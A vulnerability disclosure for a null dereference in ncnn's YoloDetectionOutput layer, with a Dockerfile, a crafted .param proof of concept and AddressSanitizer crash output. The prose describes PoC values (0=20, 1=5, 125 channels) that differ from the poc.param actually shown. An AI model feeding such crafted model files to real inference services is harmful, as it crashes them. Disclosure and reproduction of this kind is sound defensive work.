Null Dereference in YOLO Shape Inference
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/yolodetectionoutput.cpp:197 in YoloDetectionOutput::forward_inplace
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x59b2e5441eb1 bp 0x7ffde7c55820 sp 0x7ffde7c54d20 T0)
Summary
A .param file containing a YoloDetectionOutput layer with parameter key 4 (the anchor biases array) omitted crashes ncnnoptimize. YoloDetectionOutput::load_param defaults the missing array to an empty Mat and reports success; ncnnoptimize's shape-inference pass then executes the layer, and forward_inplace reads biases[pp * 2] off a null buffer. Entry point: ncnnoptimize poc.param null out.param out.bin 0. The same read is on the normal inference path, so an inference worker fed the crafted .param faults identically.
Detail
The untrusted fields are num_box (key 1), num_class (key 0) and biases (key 4). load_param reads all three independently and gives biases a default-constructed Mat when the key is absent, with no check that it contains the 2 * num_box anchor dimensions the forward pass will index:
// src/layer/yolodetectionoutput.cpp:22
biases = pd.get(4, Mat());
forward_inplace does validate the blob geometry — it computes channels_per_box and rejects the blob unless it equals 4 + 1 + num_class — but that check says nothing about biases, and the very first thing each box iteration does is index it:
// src/layer/yolodetectionoutput.cpp:178
const int channels_per_box = channels / num_box;
// anchor coord + box score + num_class
if (channels_per_box != 4 + 1 + num_class)
return -1;
// src/layer/yolodetectionoutput.cpp:192
#pragma omp parallel for num_threads(opt.num_threads)
for (int pp = 0; pp < num_box; pp++)
{
int p = pp * channels_per_box;
const float bias_w = biases[pp * 2];
const float bias_h = biases[pp * 2 + 1];
The PoC picks values that satisfy the one check that exists: the Input blob is 0=1 1=1 2=125 and the layer is YoloDetectionOutput yolo 1 1 data out 0=20 1=5 2=0.01 3=0.45, so channels / num_box is 125 / 5 = 25, exactly 4 + 1 + 20. Execution therefore continues into the box loop, where pp = 0 evaluates biases[0] and biases[1]. Mat::operator[] is an unchecked ((float*)data)[i] and the empty Mat has data == 0, so these are reads at offsets 0 and 4 of the zero page. ncnnoptimize reaches the layer through ModelWriter::shape_inference() at tools/modelwriter.h:435, which extracts every top blob in the graph. Because pp * 2 scales with num_box, a larger num_box combined with a matching channel count moves the faulting offset, but the null base makes the first iteration crash regardless.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-null-dereference-in-yolo-shape-inference && cd ncnn-poc-null-dereference-in-yolo-shape-inference
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=5
YoloDetectionOutput yolo 1 1 data out 0=0 1=1
EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x6136c53b5eb1 bp 0x7ffdd51c8ad0 sp 0x7ffdd51c7fd0 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
#0 0x6136c53b5eb1 in ncnn::YoloDetectionOutput::forward_inplace(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/yolodetectionoutput.cpp:197
#1 0x6136bfb46996 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:841
#2 0x6136bfb2fb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#3 0x6136bfb8f9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#4 0x6136bfa213c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#5 0x6136bfa9eeee in main /ncnn/tools/ncnnoptimize.cpp:2844
#6 0x7e5b752671c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x7e5b7526728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x6136bfa1e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/yolodetectionoutput.cpp:197 in ncnn::YoloDetectionOutput::forward_inplace(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst